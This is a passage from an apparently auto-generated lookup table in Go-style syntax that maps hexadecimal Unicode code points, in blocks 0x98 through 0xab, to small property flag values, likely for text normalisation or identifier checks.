0x00c0, + 0x25d8: 0x00c0, 0x25d9: 0x00c0, 0x25da: 0x00c0, 0x25db: 0x00c0, 0x25dc: 0x00c0, 0x25dd: 0x00c0, + 0x25de: 0x00c0, 0x25df: 0x00c0, 0x25e0: 0x00c0, 0x25e1: 0x00c0, 0x25e2: 0x00c0, 0x25e3: 0x00c0, + 0x25e4: 0x00c0, 0x25e5: 0x00c0, 0x25e6: 0x00c0, 0x25e7: 0x00c0, 0x25e8: 0x00c0, 0x25e9: 0x00c0, + 0x25ea: 0x00c0, 0x25eb: 0x00c0, 0x25ec: 0x00c0, 0x25ed: 0x00c0, 0x25ee: 0x00c0, 0x25ef: 0x00c0, + 0x25f0: 0x0080, 0x25f1: 0x00c0, 0x25f2: 0x00c0, 0x25f3: 0x00c0, 0x25f4: 0x00c0, 0x25f5: 0x00c0, + 0x25f6: 0x00c0, 0x25f7: 0x00c0, 0x25f8: 0x00c0, 0x25f9: 0x00c0, 0x25fa: 0x00c0, 0x25fb: 0x00c0, + 0x25fc: 0x00c0, 0x25fd: 0x00c0, 0x25fe: 0x00c0, 0x25ff: 0x00c0, + // Block 0x98, offset 0x2600 + 0x2600: 0x00c0, 0x2601: 0x00c0, 0x2602: 0x00c0, 0x2603: 0x00c0, 0x2604: 0x00c0, 0x2605: 0x00c0, + 0x2606: 0x00c0, 0x2607: 0x00c0, 0x2608: 0x00c0, 0x2609: 0x0080, 0x260a: 0x0080, 0x260b: 0x00c0, + 0x260c: 0x00c0, 0x260d: 0x00c0, 0x260e: 0x00c0, 0x260f: 0x00c0, 0x2610: 0x00c0, 0x2611: 0x00c0, + 0x2612: 0x00c0, 0x2613: 0x00c0, 0x2614: 0x00c0, 0x2615: 0x00c0, 0x2616: 0x00c0, 0x2617: 0x00c0, + 0x2618: 0x00c0, 0x2619: 0x00c0, 0x261a: 0x00c0, 0x261b: 0x00c0, 0x261c: 0x00c0, 0x261d: 0x00c0, + 0x261e: 0x00c0, 0x261f: 0x00c0, 0x2620: 0x00c0, 0x2621: 0x00c0, 0x2622: 0x00c0, 0x2623: 0x00c0, + 0x2624: 0x00c0, 0x2625: 0x00c0, 0x2626: 0x00c0, 0x2627: 0x00c0, 0x2628: 0x00c0, 0x2629: 0x00c0, + 0x262a: 0x00c0, 0x262b: 0x00c0, 0x262c: 0x00c0, 0x262d: 0x00c0, 0x262e: 0x00c0, 0x262f: 0x00c0, + 0x2630: 0x00c0, 0x2631: 0x00c0, 0x2632: 0x00c0, 0x2633: 0x00c0, 0x2634: 0x00c0, 0x2635: 0x00c0, + 0x2636: 0x00c0, 0x2637: 0x00c0, 0x2638: 0x00c0, 0x2639: 0x00c0, 0x263a: 0x00c0, 0x263b: 0x00c0, + 0x263c: 0x00c0, 0x263d: 0x00c0, 0x263e: 0x00c0, 0x263f: 0x00c0, + // Block 0x99, offset 0x2640 + 0x2640: 0x00c0, 0x2641: 0x00c0, 0x2642: 0x00c0, 0x2643: 0x00c0, 0x2644: 0x00c0, 0x2645: 0x00c0, + 0x2646: 0x00c0, 0x2647: 0x00c0, 0x2648: 0x00c0, 0x2649: 0x00c0, 0x264a: 0x00c0, + 0x2650: 0x00c0, 0x2651: 0x00c0, + 0x2653: 0x00c0, 0x2655: 0x00c0, 0x2656: 0x00c0, 0x2657: 0x00c0, + 0x2658: 0x00c0, 0x2659: 0x00c0, + 0x2672: 0x0080, 0x2673: 0x0080, 0x2674: 0x0080, 0x2675: 0x00c0, + 0x2676: 0x00c0, 0x2677: 0x00c0, 0x2678: 0x0080, 0x2679: 0x0080, 0x267a: 0x00c0, 0x267b: 0x00c0, + 0x267c: 0x00c0, 0x267d: 0x00c0, 0x267e: 0x00c0, 0x267f: 0x00c0, + // Block 0x9a, offset 0x2680 + 0x2680: 0x00c0, 0x2681: 0x00c0, 0x2682: 0x00c3, 0x2683: 0x00c0, 0x2684: 0x00c0, 0x2685: 0x00c0, + 0x2686: 0x00c6, 0x2687: 0x00c0, 0x2688: 0x00c0, 0x2689: 0x00c0, 0x268a: 0x00c0, 0x268b: 0x00c3, + 0x268c: 0x00c0, 0x268d: 0x00c0, 0x268e: 0x00c0, 0x268f: 0x00c0, 0x2690: 0x00c0, 0x2691: 0x00c0, + 0x2692: 0x00c0, 0x2693: 0x00c0, 0x2694: 0x00c0, 0x2695: 0x00c0, 0x2696: 0x00c0, 0x2697: 0x00c0, + 0x2698: 0x00c0, 0x2699: 0x00c0, 0x269a: 0x00c0, 0x269b: 0x00c0, 0x269c: 0x00c0, 0x269d: 0x00c0, + 0x269e: 0x00c0, 0x269f: 0x00c0, 0x26a0: 0x00c0, 0x26a1: 0x00c0, 0x26a2: 0x00c0, 0x26a3: 0x00c0, + 0x26a4: 0x00c0, 0x26a5: 0x00c3, 0x26a6: 0x00c3, 0x26a7: 0x00c0, 0x26a8: 0x0080, 0x26a9: 0x0080, + 0x26aa: 0x0080, 0x26ab: 0x0080, 0x26ac: 0x00c6, + 0x26b0: 0x0080, 0x26b1: 0x0080, 0x26b2: 0x0080, 0x26b3: 0x0080, 0x26b4: 0x0080, 0x26b5: 0x0080, + 0x26b6: 0x0080, 0x26b7: 0x0080, 0x26b8: 0x0080, 0x26b9: 0x0080, + // Block 0x9b, offset 0x26c0 + 0x26c0: 0x00c2, 0x26c1: 0x00c2, 0x26c2: 0x00c2, 0x26c3: 0x00c2, 0x26c4: 0x00c2, 0x26c5: 0x00c2, + 0x26c6: 0x00c2, 0x26c7: 0x00c2, 0x26c8: 0x00c2, 0x26c9: 0x00c2, 0x26ca: 0x00c2, 0x26cb: 0x00c2, + 0x26cc: 0x00c2, 0x26cd: 0x00c2, 0x26ce: 0x00c2, 0x26cf: 0x00c2, 0x26d0: 0x00c2, 0x26d1: 0x00c2, + 0x26d2: 0x00c2, 0x26d3: 0x00c2, 0x26d4: 0x00c2, 0x26d5: 0x00c2, 0x26d6: 0x00c2, 0x26d7: 0x00c2, + 0x26d8: 0x00c2, 0x26d9: 0x00c2, 0x26da: 0x00c2, 0x26db: 0x00c2, 0x26dc: 0x00c2, 0x26dd: 0x00c2, + 0x26de: 0x00c2, 0x26df: 0x00c2, 0x26e0: 0x00c2, 0x26e1: 0x00c2, 0x26e2: 0x00c2, 0x26e3: 0x00c2, + 0x26e4: 0x00c2, 0x26e5: 0x00c2, 0x26e6: 0x00c2, 0x26e7: 0x00c2, 0x26e8: 0x00c2, 0x26e9: 0x00c2, + 0x26ea: 0x00c2, 0x26eb: 0x00c2, 0x26ec: 0x00c2, 0x26ed: 0x00c2, 0x26ee: 0x00c2, 0x26ef: 0x00c2, + 0x26f0: 0x00c2, 0x26f1: 0x00c2, 0x26f2: 0x00c1, 0x26f3: 0x00c0, 0x26f4: 0x0080, 0x26f5: 0x0080, + 0x26f6: 0x0080, 0x26f7: 0x0080, + // Block 0x9c, offset 0x2700 + 0x2700: 0x00c0, 0x2701: 0x00c0, 0x2702: 0x00c0, 0x2703: 0x00c0, 0x2704: 0x00c6, 0x2705: 0x00c3, + 0x270e: 0x0080, 0x270f: 0x0080, 0x2710: 0x00c0, 0x2711: 0x00c0, + 0x2712: 0x00c0, 0x2713: 0x00c0, 0x2714: 0x00c0, 0x2715: 0x00c0, 0x2716: 0x00c0, 0x2717: 0x00c0, + 0x2718: 0x00c0, 0x2719: 0x00c0, + 0x2720: 0x00c3, 0x2721: 0x00c3, 0x2722: 0x00c3, 0x2723: 0x00c3, + 0x2724: 0x00c3, 0x2725: 0x00c3, 0x2726: 0x00c3, 0x2727: 0x00c3, 0x2728: 0x00c3, 0x2729: 0x00c3, + 0x272a: 0x00c3, 0x272b: 0x00c3, 0x272c: 0x00c3, 0x272d: 0x00c3, 0x272e: 0x00c3, 0x272f: 0x00c3, + 0x2730: 0x00c3, 0x2731: 0x00c3, 0x2732: 0x00c0, 0x2733: 0x00c0, 0x2734: 0x00c0, 0x2735: 0x00c0, + 0x2736: 0x00c0, 0x2737: 0x00c0, 0x2738: 0x0080, 0x2739: 0x0080, 0x273a: 0x0080, 0x273b: 0x00c0, + 0x273c: 0x0080, 0x273d: 0x00c0, 0x273e: 0x00c0, 0x273f: 0x00c3, + // Block 0x9d, offset 0x2740 + 0x2740: 0x00c0, 0x2741: 0x00c0, 0x2742: 0x00c0, 0x2743: 0x00c0, 0x2744: 0x00c0, 0x2745: 0x00c0, + 0x2746: 0x00c0, 0x2747: 0x00c0, 0x2748: 0x00c0, 0x2749: 0x00c0, 0x274a: 0x00c0, 0x274b: 0x00c0, + 0x274c: 0x00c0, 0x274d: 0x00c0, 0x274e: 0x00c0, 0x274f: 0x00c0, 0x2750: 0x00c0, 0x2751: 0x00c0, + 0x2752: 0x00c0, 0x2753: 0x00c0, 0x2754: 0x00c0, 0x2755: 0x00c0, 0x2756: 0x00c0, 0x2757: 0x00c0, + 0x2758: 0x00c0, 0x2759: 0x00c0, 0x275a: 0x00c0, 0x275b: 0x00c0, 0x275c: 0x00c0, 0x275d: 0x00c0, + 0x275e: 0x00c0, 0x275f: 0x00c0, 0x2760: 0x00c0, 0x2761: 0x00c0, 0x2762: 0x00c0, 0x2763: 0x00c0, + 0x2764: 0x00c0, 0x2765: 0x00c0, 0x2766: 0x00c3, 0x2767: 0x00c3, 0x2768: 0x00c3, 0x2769: 0x00c3, + 0x276a: 0x00c3, 0x276b: 0x00c3, 0x276c: 0x00c3, 0x276d: 0x00c3, 0x276e: 0x0080, 0x276f: 0x0080, + 0x2770: 0x00c0, 0x2771: 0x00c0, 0x2772: 0x00c0, 0x2773: 0x00c0, 0x2774: 0x00c0, 0x2775: 0x00c0, + 0x2776: 0x00c0, 0x2777: 0x00c0, 0x2778: 0x00c0, 0x2779: 0x00c0, 0x277a: 0x00c0, 0x277b: 0x00c0, + 0x277c: 0x00c0, 0x277d: 0x00c0, 0x277e: 0x00c0, 0x277f: 0x00c0, + // Block 0x9e, offset 0x2780 + 0x2780: 0x00c0, 0x2781: 0x00c0, 0x2782: 0x00c0, 0x2783: 0x00c0, 0x2784: 0x00c0, 0x2785: 0x00c0, + 0x2786: 0x00c0, 0x2787: 0x00c3, 0x2788: 0x00c3, 0x2789: 0x00c3, 0x278a: 0x00c3, 0x278b: 0x00c3, + 0x278c: 0x00c3, 0x278d: 0x00c3, 0x278e: 0x00c3, 0x278f: 0x00c3, 0x2790: 0x00c3, 0x2791: 0x00c3, + 0x2792: 0x00c0, 0x2793: 0x00c5, + 0x279f: 0x0080, 0x27a0: 0x0040, 0x27a1: 0x0040, 0x27a2: 0x0040, 0x27a3: 0x0040, + 0x27a4: 0x0040, 0x27a5: 0x0040, 0x27a6: 0x0040, 0x27a7: 0x0040, 0x27a8: 0x0040, 0x27a9: 0x0040, + 0x27aa: 0x0040, 0x27ab: 0x0040, 0x27ac: 0x0040, 0x27ad: 0x0040, 0x27ae: 0x0040, 0x27af: 0x0040, + 0x27b0: 0x0040, 0x27b1: 0x0040, 0x27b2: 0x0040, 0x27b3: 0x0040, 0x27b4: 0x0040, 0x27b5: 0x0040, + 0x27b6: 0x0040, 0x27b7: 0x0040, 0x27b8: 0x0040, 0x27b9: 0x0040, 0x27ba: 0x0040, 0x27bb: 0x0040, + 0x27bc: 0x0040, + // Block 0x9f, offset 0x27c0 + 0x27c0: 0x00c3, 0x27c1: 0x00c3, 0x27c2: 0x00c3, 0x27c3: 0x00c0, 0x27c4: 0x00c0, 0x27c5: 0x00c0, + 0x27c6: 0x00c0, 0x27c7: 0x00c0, 0x27c8: 0x00c0, 0x27c9: 0x00c0, 0x27ca: 0x00c0, 0x27cb: 0x00c0, + 0x27cc: 0x00c0, 0x27cd: 0x00c0, 0x27ce: 0x00c0, 0x27cf: 0x00c0, 0x27d0: 0x00c0, 0x27d1: 0x00c0, + 0x27d2: 0x00c0, 0x27d3: 0x00c0, 0x27d4: 0x00c0, 0x27d5: 0x00c0, 0x27d6: 0x00c0, 0x27d7: 0x00c0, + 0x27d8: 0x00c0, 0x27d9: 0x00c0, 0x27da: 0x00c0, 0x27db: 0x00c0, 0x27dc: 0x00c0, 0x27dd: 0x00c0, + 0x27de: 0x00c0, 0x27df: 0x00c0, 0x27e0: 0x00c0, 0x27e1: 0x00c0, 0x27e2: 0x00c0, 0x27e3: 0x00c0, + 0x27e4: 0x00c0, 0x27e5: 0x00c0, 0x27e6: 0x00c0, 0x27e7: 0x00c0, 0x27e8: 0x00c0, 0x27e9: 0x00c0, + 0x27ea: 0x00c0, 0x27eb: 0x00c0, 0x27ec: 0x00c0, 0x27ed: 0x00c0, 0x27ee: 0x00c0, 0x27ef: 0x00c0, + 0x27f0: 0x00c0, 0x27f1: 0x00c0, 0x27f2: 0x00c0, 0x27f3: 0x00c3, 0x27f4: 0x00c0, 0x27f5: 0x00c0, + 0x27f6: 0x00c3, 0x27f7: 0x00c3, 0x27f8: 0x00c3, 0x27f9: 0x00c3, 0x27fa: 0x00c0, 0x27fb: 0x00c0, + 0x27fc: 0x00c3, 0x27fd: 0x00c3, 0x27fe: 0x00c0, 0x27ff: 0x00c0, + // Block 0xa0, offset 0x2800 + 0x2800: 0x00c5, 0x2801: 0x0080, 0x2802: 0x0080, 0x2803: 0x0080, 0x2804: 0x0080, 0x2805: 0x0080, + 0x2806: 0x0080, 0x2807: 0x0080, 0x2808: 0x0080, 0x2809: 0x0080, 0x280a: 0x0080, 0x280b: 0x0080, + 0x280c: 0x0080, 0x280d: 0x0080, 0x280f: 0x00c0, 0x2810: 0x00c0, 0x2811: 0x00c0, + 0x2812: 0x00c0, 0x2813: 0x00c0, 0x2814: 0x00c0, 0x2815: 0x00c0, 0x2816: 0x00c0, 0x2817: 0x00c0, + 0x2818: 0x00c0, 0x2819: 0x00c0, + 0x281e: 0x0080, 0x281f: 0x0080, 0x2820: 0x00c0, 0x2821: 0x00c0, 0x2822: 0x00c0, 0x2823: 0x00c0, + 0x2824: 0x00c0, 0x2825: 0x00c3, 0x2826: 0x00c0, 0x2827: 0x00c0, 0x2828: 0x00c0, 0x2829: 0x00c0, + 0x282a: 0x00c0, 0x282b: 0x00c0, 0x282c: 0x00c0, 0x282d: 0x00c0, 0x282e: 0x00c0, 0x282f: 0x00c0, + 0x2830: 0x00c0, 0x2831: 0x00c0, 0x2832: 0x00c0, 0x2833: 0x00c0, 0x2834: 0x00c0, 0x2835: 0x00c0, + 0x2836: 0x00c0, 0x2837: 0x00c0, 0x2838: 0x00c0, 0x2839: 0x00c0, 0x283a: 0x00c0, 0x283b: 0x00c0, + 0x283c: 0x00c0, 0x283d: 0x00c0, 0x283e: 0x00c0, + // Block 0xa1, offset 0x2840 + 0x2840: 0x00c0, 0x2841: 0x00c0, 0x2842: 0x00c0, 0x2843: 0x00c0, 0x2844: 0x00c0, 0x2845: 0x00c0, + 0x2846: 0x00c0, 0x2847: 0x00c0, 0x2848: 0x00c0, 0x2849: 0x00c0, 0x284a: 0x00c0, 0x284b: 0x00c0, + 0x284c: 0x00c0, 0x284d: 0x00c0, 0x284e: 0x00c0, 0x284f: 0x00c0, 0x2850: 0x00c0, 0x2851: 0x00c0, + 0x2852: 0x00c0, 0x2853: 0x00c0, 0x2854: 0x00c0, 0x2855: 0x00c0, 0x2856: 0x00c0, 0x2857: 0x00c0, + 0x2858: 0x00c0, 0x2859: 0x00c0, 0x285a: 0x00c0, 0x285b: 0x00c0, 0x285c: 0x00c0, 0x285d: 0x00c0, + 0x285e: 0x00c0, 0x285f: 0x00c0, 0x2860: 0x00c0, 0x2861: 0x00c0, 0x2862: 0x00c0, 0x2863: 0x00c0, + 0x2864: 0x00c0, 0x2865: 0x00c0, 0x2866: 0x00c0, 0x2867: 0x00c0, 0x2868: 0x00c0, 0x2869: 0x00c3, + 0x286a: 0x00c3, 0x286b: 0x00c3, 0x286c: 0x00c3, 0x286d: 0x00c3, 0x286e: 0x00c3, 0x286f: 0x00c0, + 0x2870: 0x00c0, 0x2871: 0x00c3, 0x2872: 0x00c3, 0x2873: 0x00c0, 0x2874: 0x00c0, 0x2875: 0x00c3, + 0x2876: 0x00c3, + // Block 0xa2, offset 0x2880 + 0x2880: 0x00c0, 0x2881: 0x00c0, 0x2882: 0x00c0, 0x2883: 0x00c3, 0x2884: 0x00c0, 0x2885: 0x00c0, + 0x2886: 0x00c0, 0x2887: 0x00c0, 0x2888: 0x00c0, 0x2889: 0x00c0, 0x288a: 0x00c0, 0x288b: 0x00c0, + 0x288c: 0x00c3, 0x288d: 0x00c0, 0x2890: 0x00c0, 0x2891: 0x00c0, + 0x2892: 0x00c0, 0x2893: 0x00c0, 0x2894: 0x00c0, 0x2895: 0x00c0, 0x2896: 0x00c0, 0x2897: 0x00c0, + 0x2898: 0x00c0, 0x2899: 0x00c0, 0x289c: 0x0080, 0x289d: 0x0080, + 0x289e: 0x0080, 0x289f: 0x0080, 0x28a0: 0x00c0, 0x28a1: 0x00c0, 0x28a2: 0x00c0, 0x28a3: 0x00c0, + 0x28a4: 0x00c0, 0x28a5: 0x00c0, 0x28a6: 0x00c0, 0x28a7: 0x00c0, 0x28a8: 0x00c0, 0x28a9: 0x00c0, + 0x28aa: 0x00c0, 0x28ab: 0x00c0, 0x28ac: 0x00c0, 0x28ad: 0x00c0, 0x28ae: 0x00c0, 0x28af: 0x00c0, + 0x28b0: 0x00c0, 0x28b1: 0x00c0, 0x28b2: 0x00c0, 0x28b3: 0x00c0, 0x28b4: 0x00c0, 0x28b5: 0x00c0, + 0x28b6: 0x00c0, 0x28b7: 0x0080, 0x28b8: 0x0080, 0x28b9: 0x0080, 0x28ba: 0x00c0, 0x28bb: 0x00c0, + 0x28bc: 0x00c3, 0x28bd: 0x00c0, 0x28be: 0x00c0, 0x28bf: 0x00c0, + // Block 0xa3, offset 0x28c0 + 0x28c0: 0x00c0, 0x28c1: 0x00c0, 0x28c2: 0x00c0, 0x28c3: 0x00c0, 0x28c4: 0x00c0, 0x28c5: 0x00c0, + 0x28c6: 0x00c0, 0x28c7: 0x00c0, 0x28c8: 0x00c0, 0x28c9: 0x00c0, 0x28ca: 0x00c0, 0x28cb: 0x00c0, + 0x28cc: 0x00c0, 0x28cd: 0x00c0, 0x28ce: 0x00c0, 0x28cf: 0x00c0, 0x28d0: 0x00c0, 0x28d1: 0x00c0, + 0x28d2: 0x00c0, 0x28d3: 0x00c0, 0x28d4: 0x00c0, 0x28d5: 0x00c0, 0x28d6: 0x00c0, 0x28d7: 0x00c0, + 0x28d8: 0x00c0, 0x28d9: 0x00c0, 0x28da: 0x00c0, 0x28db: 0x00c0, 0x28dc: 0x00c0, 0x28dd: 0x00c0, + 0x28de: 0x00c0, 0x28df: 0x00c0, 0x28e0: 0x00c0, 0x28e1: 0x00c0, 0x28e2: 0x00c0, 0x28e3: 0x00c0, + 0x28e4: 0x00c0, 0x28e5: 0x00c0, 0x28e6: 0x00c0, 0x28e7: 0x00c0, 0x28e8: 0x00c0, 0x28e9: 0x00c0, + 0x28ea: 0x00c0, 0x28eb: 0x00c0, 0x28ec: 0x00c0, 0x28ed: 0x00c0, 0x28ee: 0x00c0, 0x28ef: 0x00c0, + 0x28f0: 0x00c3, 0x28f1: 0x00c0, 0x28f2: 0x00c3, 0x28f3: 0x00c3, 0x28f4: 0x00c3, 0x28f5: 0x00c0, + 0x28f6: 0x00c0, 0x28f7: 0x00c3, 0x28f8: 0x00c3, 0x28f9: 0x00c0, 0x28fa: 0x00c0, 0x28fb: 0x00c0, + 0x28fc: 0x00c0, 0x28fd: 0x00c0, 0x28fe: 0x00c3, 0x28ff: 0x00c3, + // Block 0xa4, offset 0x2900 + 0x2900: 0x00c0, 0x2901: 0x00c3, 0x2902: 0x00c0, + 0x291b: 0x00c0, 0x291c: 0x00c0, 0x291d: 0x00c0, + 0x291e: 0x0080, 0x291f: 0x0080, 0x2920: 0x00c0, 0x2921: 0x00c0, 0x2922: 0x00c0, 0x2923: 0x00c0, + 0x2924: 0x00c0, 0x2925: 0x00c0, 0x2926: 0x00c0, 0x2927: 0x00c0, 0x2928: 0x00c0, 0x2929: 0x00c0, + 0x292a: 0x00c0, 0x292b: 0x00c0, 0x292c: 0x00c3, 0x292d: 0x00c3, 0x292e: 0x00c0, 0x292f: 0x00c0, + 0x2930: 0x0080, 0x2931: 0x0080, 0x2932: 0x00c0, 0x2933: 0x00c0, 0x2934: 0x00c0, 0x2935: 0x00c0, + 0x2936: 0x00c6, + // Block 0xa5, offset 0x2940 + 0x2941: 0x00c0, 0x2942: 0x00c0, 0x2943: 0x00c0, 0x2944: 0x00c0, 0x2945: 0x00c0, + 0x2946: 0x00c0, 0x2949: 0x00c0, 0x294a: 0x00c0, 0x294b: 0x00c0, + 0x294c: 0x00c0, 0x294d: 0x00c0, 0x294e: 0x00c0, 0x2951: 0x00c0, + 0x2952: 0x00c0, 0x2953: 0x00c0, 0x2954: 0x00c0, 0x2955: 0x00c0, 0x2956: 0x00c0, + 0x2960: 0x00c0, 0x2961: 0x00c0, 0x2962: 0x00c0, 0x2963: 0x00c0, + 0x2964: 0x00c0, 0x2965: 0x00c0, 0x2966: 0x00c0, 0x2968: 0x00c0, 0x2969: 0x00c0, + 0x296a: 0x00c0, 0x296b: 0x00c0, 0x296c: 0x00c0, 0x296d: 0x00c0, 0x296e: 0x00c0, + 0x2970: 0x00c0, 0x2971: 0x00c0, 0x2972: 0x00c0, 0x2973: 0x00c0, 0x2974: 0x00c0, 0x2975: 0x00c0, + 0x2976: 0x00c0, 0x2977: 0x00c0, 0x2978: 0x00c0, 0x2979: 0x00c0, 0x297a: 0x00c0, 0x297b: 0x00c0, + 0x297c: 0x00c0, 0x297d: 0x00c0, 0x297e: 0x00c0, 0x297f: 0x00c0, + // Block 0xa6, offset 0x2980 + 0x2980: 0x00c0, 0x2981: 0x00c0, 0x2982: 0x00c0, 0x2983: 0x00c0, 0x2984: 0x00c0, 0x2985: 0x00c0, + 0x2986: 0x00c0, 0x2987: 0x00c0, 0x2988: 0x00c0, 0x2989: 0x00c0, 0x298a: 0x00c0, 0x298b: 0x00c0, + 0x298c: 0x00c0, 0x298d: 0x00c0, 0x298e: 0x00c0, 0x298f: 0x00c0, 0x2990: 0x00c0, 0x2991: 0x00c0, + 0x2992: 0x00c0, 0x2993: 0x00c0, 0x2994: 0x00c0, 0x2995: 0x00c0, 0x2996: 0x00c0, 0x2997: 0x00c0, + 0x2998: 0x00c0, 0x2999: 0x00c0, 0x299a: 0x00c0, 0x299b: 0x0080, 0x299c: 0x0080, 0x299d: 0x0080, + 0x299e: 0x0080, 0x299f: 0x0080, 0x29a0: 0x00c0, 0x29a1: 0x00c0, 0x29a2: 0x00c0, 0x29a3: 0x00c0, + 0x29a4: 0x00c0, 0x29a5: 0x00c8, 0x29a6: 0x00c0, 0x29a7: 0x00c0, 0x29a8: 0x00c0, 0x29a9: 0x0080, + 0x29aa: 0x0080, 0x29ab: 0x0080, + 0x29b0: 0x00c0, 0x29b1: 0x00c0, 0x29b2: 0x00c0, 0x29b3: 0x00c0, 0x29b4: 0x00c0, 0x29b5: 0x00c0, + 0x29b6: 0x00c0, 0x29b7: 0x00c0, 0x29b8: 0x00c0, 0x29b9: 0x00c0, 0x29ba: 0x00c0, 0x29bb: 0x00c0, + 0x29bc: 0x00c0, 0x29bd: 0x00c0, 0x29be: 0x00c0, 0x29bf: 0x00c0, + // Block 0xa7, offset 0x29c0 + 0x29c0: 0x00c0, 0x29c1: 0x00c0, 0x29c2: 0x00c0, 0x29c3: 0x00c0, 0x29c4: 0x00c0, 0x29c5: 0x00c0, + 0x29c6: 0x00c0, 0x29c7: 0x00c0, 0x29c8: 0x00c0, 0x29c9: 0x00c0, 0x29ca: 0x00c0, 0x29cb: 0x00c0, + 0x29cc: 0x00c0, 0x29cd: 0x00c0, 0x29ce: 0x00c0, 0x29cf: 0x00c0, 0x29d0: 0x00c0, 0x29d1: 0x00c0, + 0x29d2: 0x00c0, 0x29d3: 0x00c0, 0x29d4: 0x00c0, 0x29d5: 0x00c0, 0x29d6: 0x00c0, 0x29d7: 0x00c0, + 0x29d8: 0x00c0, 0x29d9: 0x00c0, 0x29da: 0x00c0, 0x29db: 0x00c0, 0x29dc: 0x00c0, 0x29dd: 0x00c0, + 0x29de: 0x00c0, 0x29df: 0x00c0, 0x29e0: 0x00c0, 0x29e1: 0x00c0, 0x29e2: 0x00c0, 0x29e3: 0x00c0, + 0x29e4: 0x00c0, 0x29e5: 0x00c3, 0x29e6: 0x00c0, 0x29e7: 0x00c0, 0x29e8: 0x00c3, 0x29e9: 0x00c0, + 0x29ea: 0x00c0, 0x29eb: 0x0080, 0x29ec: 0x00c0, 0x29ed: 0x00c6, + 0x29f0: 0x00c0, 0x29f1: 0x00c0, 0x29f2: 0x00c0, 0x29f3: 0x00c0, 0x29f4: 0x00c0, 0x29f5: 0x00c0, + 0x29f6: 0x00c0, 0x29f7: 0x00c0, 0x29f8: 0x00c0, 0x29f9: 0x00c0, + // Block 0xa8, offset 0x2a00 + 0x2a00: 0x00c0, 0x2a01: 0x00c0, 0x2a02: 0x00c0, 0x2a03: 0x00c0, 0x2a04: 0x00c0, 0x2a05: 0x00c0, + 0x2a06: 0x00c0, 0x2a07: 0x00c0, 0x2a08: 0x00c0, 0x2a09: 0x00c0, 0x2a0a: 0x00c0, 0x2a0b: 0x00c0, + 0x2a0c: 0x00c0, 0x2a0d: 0x00c0, 0x2a0e: 0x00c0, 0x2a0f: 0x00c0, 0x2a10: 0x00c0, 0x2a11: 0x00c0, + 0x2a12: 0x00c0, 0x2a13: 0x00c0, 0x2a14: 0x00c0, 0x2a15: 0x00c0, 0x2a16: 0x00c0, 0x2a17: 0x00c0, + 0x2a18: 0x00c0, 0x2a19: 0x00c0, 0x2a1a: 0x00c0, 0x2a1b: 0x00c0, 0x2a1c: 0x00c0, 0x2a1d: 0x00c0, + 0x2a1e: 0x00c0, 0x2a1f: 0x00c0, 0x2a20: 0x00c0, 0x2a21: 0x00c0, 0x2a22: 0x00c0, 0x2a23: 0x00c0, + 0x2a30: 0x0040, 0x2a31: 0x0040, 0x2a32: 0x0040, 0x2a33: 0x0040, 0x2a34: 0x0040, 0x2a35: 0x0040, + 0x2a36: 0x0040, 0x2a37: 0x0040, 0x2a38: 0x0040, 0x2a39: 0x0040, 0x2a3a: 0x0040, 0x2a3b: 0x0040, + 0x2a3c: 0x0040, 0x2a3d: 0x0040, 0x2a3e: 0x0040, 0x2a3f: 0x0040, + // Block 0xa9, offset 0x2a40 + 0x2a40: 0x0040, 0x2a41: 0x0040, 0x2a42: 0x0040, 0x2a43: 0x0040, 0x2a44: 0x0040, 0x2a45: 0x0040, + 0x2a46: 0x0040, 0x2a4b: 0x0040, + 0x2a4c: 0x0040, 0x2a4d: 0x0040, 0x2a4e: 0x0040, 0x2a4f: 0x0040, 0x2a50: 0x0040, 0x2a51: 0x0040, + 0x2a52: 0x0040, 0x2a53: 0x0040, 0x2a54: 0x0040, 0x2a55: 0x0040, 0x2a56: 0x0040, 0x2a57: 0x0040, + 0x2a58: 0x0040, 0x2a59: 0x0040, 0x2a5a: 0x0040, 0x2a5b: 0x0040, 0x2a5c: 0x0040, 0x2a5d: 0x0040, + 0x2a5e: 0x0040, 0x2a5f: 0x0040, 0x2a60: 0x0040, 0x2a61: 0x0040, 0x2a62: 0x0040, 0x2a63: 0x0040, + 0x2a64: 0x0040, 0x2a65: 0x0040, 0x2a66: 0x0040, 0x2a67: 0x0040, 0x2a68: 0x0040, 0x2a69: 0x0040, + 0x2a6a: 0x0040, 0x2a6b: 0x0040, 0x2a6c: 0x0040, 0x2a6d: 0x0040, 0x2a6e: 0x0040, 0x2a6f: 0x0040, + 0x2a70: 0x0040, 0x2a71: 0x0040, 0x2a72: 0x0040, 0x2a73: 0x0040, 0x2a74: 0x0040, 0x2a75: 0x0040, + 0x2a76: 0x0040, 0x2a77: 0x0040, 0x2a78: 0x0040, 0x2a79: 0x0040, 0x2a7a: 0x0040, 0x2a7b: 0x0040, + // Block 0xaa, offset 0x2a80 + 0x2a80: 0x008c, 0x2a81: 0x008c, 0x2a82: 0x008c, 0x2a83: 0x008c, 0x2a84: 0x008c, 0x2a85: 0x008c, + 0x2a86: 0x008c, 0x2a87: 0x008c, 0x2a88: 0x008c, 0x2a89: 0x008c, 0x2a8a: 0x008c, 0x2a8b: 0x008c, + 0x2a8c: 0x008c, 0x2a8d: 0x008c, 0x2a8e: 0x00cc, 0x2a8f: 0x00cc, 0x2a90: 0x008c, 0x2a91: 0x00cc, + 0x2a92: 0x008c, 0x2a93: 0x00cc, 0x2a94: 0x00cc, 0x2a95: 0x008c, 0x2a96: 0x008c, 0x2a97: 0x008c, + 0x2a98: 0x008c, 0x2a99: 0x008c, 0x2a9a: 0x008c, 0x2a9b: 0x008c, 0x2a9c: 0x008c, 0x2a9d: 0x008c, + 0x2a9e: 0x008c, 0x2a9f: 0x00cc, 0x2aa0: 0x008c, 0x2aa1: 0x00cc, 0x2aa2: 0x008c, 0x2aa3: 0x00cc, + 0x2aa4: 0x00cc, 0x2aa5: 0x008c, 0x2aa6: 0x008c, 0x2aa7: 0x00cc, 0x2aa8: 0x00cc, 0x2aa9: 0x00cc, + 0x2aaa: 0x008c, 0x2aab: 0x008c, 0x2aac: 0x008c, 0x2aad: 0x008c, 0x2aae: 0x008c, 0x2aaf: 0x008c, + 0x2ab0: 0x008c, 0x2ab1: 0x008c, 0x2ab2: 0x008c, 0x2ab3: 0x008c, 0x2ab4: 0x008c, 0x2ab5: 0x008c, + 0x2ab6: 0x008c, 0x2ab7: 0x008c, 0x2ab8: 0x008c, 0x2ab9: 0x008c, 0x2aba: 0x008c, 0x2abb: 0x008c, + 0x2abc: 0x008c, 0x2abd: 0x008c, 0x2abe: 0x008c, 0x2abf: 0x008c, + // Block 0xab, offset 0x2ac0 